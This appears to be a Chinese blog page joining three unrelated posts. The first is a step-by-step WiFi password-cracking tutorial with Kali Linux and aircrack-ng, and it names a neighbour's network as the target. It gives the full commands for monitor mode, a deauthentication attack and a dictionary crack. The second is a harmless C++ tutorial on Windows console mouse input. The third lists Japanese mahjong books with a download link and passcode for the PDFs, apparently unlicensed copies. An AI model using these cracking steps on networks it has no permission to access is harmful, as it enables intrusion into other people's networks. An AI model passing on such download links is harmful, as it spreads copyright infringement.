材料准备
- 安装有kali虚拟机的电脑,最好别用wsl(会有一些莫名其妙的错误)
- 无线网卡一枚(最好免驱),网购约30元,我使用的是mt7601u
- 字典(自己生成或者网上下载如Top100)
邻居家的wifi
将无线网卡连接至虚拟机
请务必先打开kali虚拟机后,后将无线网卡插上电脑。
这样在VMwwre中才会出现一个弹窗“检测到新的usb设备”选择“连接到虚拟机”,选中你的虚拟机点确定
打开终端,输入ifconfig
,如果列出的表中有wlan0
,则说明无线网卡已经成功连接到kali虚拟机中

开启监听模式
开启网卡监听(注意下面图片中的monitor mode enable,表示监听模式启动)
airmon-ng start wlan0

扫描附近的wifi,搜索到你要破解的wifi的名字时,及时按下空格
暂停扫描,以免扫描的东西不见了,也方便复制:
airodump-ng wlan0
BSSID |
CH |
ESSID |
wifi的网卡 |
信道 |
wifi的名字 |

这时候最好不要按Ctrl+C退出上一步,最好是再打开一个控制台窗口,查看wifi连接的设备
airodump-ng --bssid <BSSID> -c <CH> -w <文件名不用自己加后缀> wlan0
抓包
aireplay-ng -0 2 -a <BSSID> -c <STATION> wlan0
参数说明:-0抓取包的个数,-a路由器MAC,-c用户MAC
破解wifi密码,跑包,如果密码字典中有密码,即可破解成功
aircrack-ng -w <字典路径> <文件名不用自己加后缀>
停止监听
airmon stop wlan0
WSL+无线网卡(无效)
使用USBIPD将无线网卡绑定到WSL
参考文档:Microsoft-连接USB设备
你有两种方式安装usbipd
第一种,在GitHub发布页中下载https://github.com/dorssel/usbipd-win/releases,下载usbipd-win_x.x.x.msi,然后安装即可
第二种,如果你的Windows有安装winget,那么可以通过输入命令来安装
winget install --interactive --exact dorssel.usbipd-win
安装好usbipd后,打开powershell(以管理员模式打开),先别着急打开wsl
确保你的无线网卡插入了电脑后,输入查看
usbipd list

我们可以看到,我的无线网卡名称为802.11n USB Wireless LAN Card,它的BUSID为2-1
接下来输入命令使无线网卡处于共享状态
usbipd bind --busid <busid>

通过后面的命令我们可以看到,我的无线网卡已经处于Shared的状态,那我们就可以将其绑定到WSL中(在此之前需要先打开WSL,否则可能会报错):
usbipd attach --wsl --busid <busid>

这里附一条解除绑定的命令(别乱输啊),不过官方文档是说也可以通过物理移除的方式(通俗的讲就是直接拔):
usbipd detach --busid <busid>
到此,你的Windows可能会弹出一条移除设备的信息,并且在Windows下的WLAN也看不到了两张网卡,这是正常现象,它说明你已经成功的将无线网卡添加到了WSL中。
我们不妨进一步进行验证 。切换到WSL的窗口,输入lsusb
可以查看接入的USB:

其中的Ralink Technology, Corp. MT7601U Wireless Adapter就是我的网卡,显然,USB添加成功了。
但是,输入ifconfig
查看,好家伙没有无线网。。。(好吧,我承认到此我不会了
Windows+无线网卡
去Aircrack-ng官网下载工具,Windows版本包含以下工具
命令(有用的) |
功能 |
airbase-ng |
|
aircrack-ng |
最后破解:破解WEP以及WPA(字典攻击)密钥 |
airdecap-ng |
|
airdecloak-ng |
|
aireplay-ng |
|
airodump-ng |
数据包嗅探:将无线网络数据输送到PCAP或IVS文件并显示网络信息 |
airserv-ng |
|
|
|
|
|
Fri Jul 07 2023 18:18:51 GMT+0800
与读取键盘信息类似,读取鼠标信息也是通过 ReadConsoleInput
函数来实现
咱先说一下需要用到的头文件:
#include <windows.h>
响应鼠标点击事件的变量类型
INPUT_RECORD
咱先介绍一下ReadConsoleInput
这个函数
typedef struct _MOUSE_EVENT_RECORD {
COORD dwMousePosition; // 当前鼠标位置
DWORD dwButtonState; // 鼠标按钮状态
DWORD dwControlKeyState; // 键盘控制键状态
DWORD dwEventFlags; // 事件状态
} MOUSE_EVENT_RECORD;
//这个东西一般都在"INPUT_RECORD的变量名.Event.MouseEvent.以上变量"
1.第一个参数存放鼠标的位置信息,类型为 COORD 坐标类型;
2.第二个参数(dwButtonState)为鼠标的按键状态,包含的值如下:
鼠标按键状态码(dwButtonState) |
说明 |
FROM_LEFT_1ST_BUTTON_PRESSED |
最左边按键 |
FROM_LEFT_2ND_BUTTON_PRESSED |
左起第二个按键 |
FROM_LEFT_3RD_BUTTON_PRESSED |
左起第三个按键 |
FROM_LEFT_4TH_BUTTON_PRESSED |
左起第四个按键 |
RIGHTMOST_BUTTON_PRESSED |
最右边按键 |
3.第三个参数是键盘控制键状态,这个和上一章的内容是一样的;
4.最后一个参数(dwEventFlag)为事件状态:
事件状态码(dwEventFlag) |
说明 |
DOUBLE_CLICK |
双击 |
MOUSE_MOVED |
移动 |
MOUSE_WHEELED |
滚轮滚动(只适用于Windows 2000/XP) |
在程序开头应加上
HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
HANDLE hIn = GetStdHandle(STD_INPUT_HANDLE);
//这是用来添加鼠标输入设备的
用法举例
//我写的一个简单地例子
#include<iostream>
#include<windows.h>
using namespace std;
int main()
{
HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
HANDLE hIn = GetStdHandle(STD_INPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO bInfo;
INPUT_RECORD mouseRec;
DWORD res;
while(1)
{
ReadConsoleInput(hIn, &mouseRec, 1, &res);//读取一个鼠标操作
if(mouseRec.Event.MouseEvent.dwButtonState==FROM_LEFT_1ST_BUTTON_PRESSED)//如果点击了左键
{
if (mouseRec.Event.MouseEvent.dwEventFlags == DOUBLE_CLICK)//如果是双击
{
break; //退出循环
}
else//单击的情况
{
cout<<mouseRec.Event.MouseEvent.dwMousePosition.X<<" "<<mouseRec.Event.MouseEvent.dwMousePosition.Y<<endl;//输出当前鼠标的位置
}
}
}
CloseHandle(hOut); // 关闭标准输出设备句柄
CloseHandle(hIn); // 关闭标准输入设备句柄
}
摘自网络
#include <windows.h>
#include <stdio.h>
int main(void)
{
// 获取标准输入输出设备句柄
HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
HANDLE hIn = GetStdHandle(STD_INPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO bInfo;
INPUT_RECORD mouseRec;
DWORD res;
COORD crPos, crHome = {0, 0};
printf("[Cursor Position] X: %2lu Y: %2lu\n", 0, 0); // 初始状态
while (1)
{
ReadConsoleInput(hIn, &mouseRec, 1, &res);
if (mouseRec.EventType == MOUSE_EVENT)
{
if (mouseRec.Event.MouseEvent.dwButtonState==FROM_LEFT_1ST_BUTTON_PRESSED)
{
if (mouseRec.Event.MouseEvent.dwEventFlags == DOUBLE_CLICK)
{
break; // 左键双击 退出循环
}
}
crPos = mouseRec.Event.MouseEvent.dwMousePosition;
GetConsoleScreenBufferInfo(hOut, &bInfo);
SetConsoleCursorPosition(hOut, crHome);
printf("[Cursor Position] X: %2lu Y: %2lu", crPos.X, crPos.Y);
SetConsoleCursorPosition(hOut, bInfo.dwCursorPosition);
switch (mouseRec.Event.MouseEvent.dwButtonState)
{
case FROM_LEFT_1ST_BUTTON_PRESSED: // 左键 输出A
FillConsoleOutputCharacter(hOut, 'A', 1, crPos, &res);
break; // 如果使用printf输出,则之前需要先设置光标的位置
case RIGHTMOST_BUTTON_PRESSED: // 右键 输出a
FillConsoleOutputCharacter(hOut, 'a', 1, crPos, &res);
break;
default:
break;
}
}
}
CloseHandle(hOut); // 关闭标准输出设备句柄
CloseHandle(hIn); // 关闭标准输入设备句柄
return 0;
}
Thu Jul 06 2023 21:14:03 GMT+0800
书名一览(若要保证浏览体验,请关闭翻译)
《ASAPIN 天才雀士に麻雀のことを聞いたらバカ勝ちできた》
《Guzaku 傑作「何切る」300選》
《Guzaku 定石「何切る」301選》
《owata 三人麻雀の極意》
《ZERO ゼロ秒思考の麻雀》
《ZERO 麻雀強者の0秒思考》
《かにマジン 日本一麻雀が強いサラリーマンの必勝法》
《きよ アマチュア地方最強位が作る新麻雀マニュアル》
《みーにん 「統計学」のマージャン戦術》
《みーにん 知るだけで強くなる麻雀の2択》
《ゆうせー 実戦でよく出る!麻雀講義》
《中島準也 理論的思考で勝つ麻雀》
《二階堂亜樹 勝てる麻雀の基本》
《土井泰昭 勝つ人は知っている現代麻雀30の新常識》
《土田浩翔 運を育てる》
《堀内正人 麻雀の麒麟児の一打》
《堀慎吾 麻雀だから君は負けるんです》
《多井隆晴 多井熱》
《小林剛 スーパーデジタル麻雀》
《川村晃裕 麻雀勝ち組の鳴きテクニック》
《平澤元気 よくわかる麻雀の勝ち方》
《平澤元気 現代麻雀の秘技相手に対応させる技術》
《平澤元気 絶対にラスを引かない麻雀ラス回避35の技術》
《日本プロ麻雀連盟 麻雀基本手筋コレクション》
《朝倉康心 麻雀の失敗学》
《比嘉秀仁 強者の最近手筋100》
《水上直紀 麻雀AI戦術》
《独歩 序盤の鉄戦略》
《独歩 鉄押しの条件》
《石橋伸洋 進化するデジタル麻雀》
《石橋伸洋 黒いデジタル麻雀》
《福地誠 これだけで勝てる!麻雀の基本形80》
《福地誠 手作りと押し引きの鉄戦術》
《福地誠 麻雀10倍勝てるテクニック》
《福地誠 麻雀の正解》
《福地誠 麻雀テクニック》
《福地誠 麻雀勝ち組の選択》
《福地誠 麻雀勝ち組の選択II》
《菊池翔 絶対に負けない最強麻雀戦術》
《藤田晋 仕事が麻雀で麻雀が仕事》
《近代麻雀 プロに挑戦!!麻雀検定》
《近代麻雀 麻雀プロMリーグ選手名鑑》
《近藤誠一 大きく打ち大きく勝つ麻雀》
《鈴木たろう ゼウスの選択》
《馬場裕一 バビーのメンチン何切る》
《鳳南研究所 現代麻雀の神ワザ》
下载链接
资料来源于网络
仅供交流学习使用,不得用于任何商业用途
https://cowtransfer.com/s/cc797d6a256440 点击链接查看 【 PDF.zip 】 ,或访问奶牛快传 cowtransfer.com 输入传输口令 f4jzju 查看;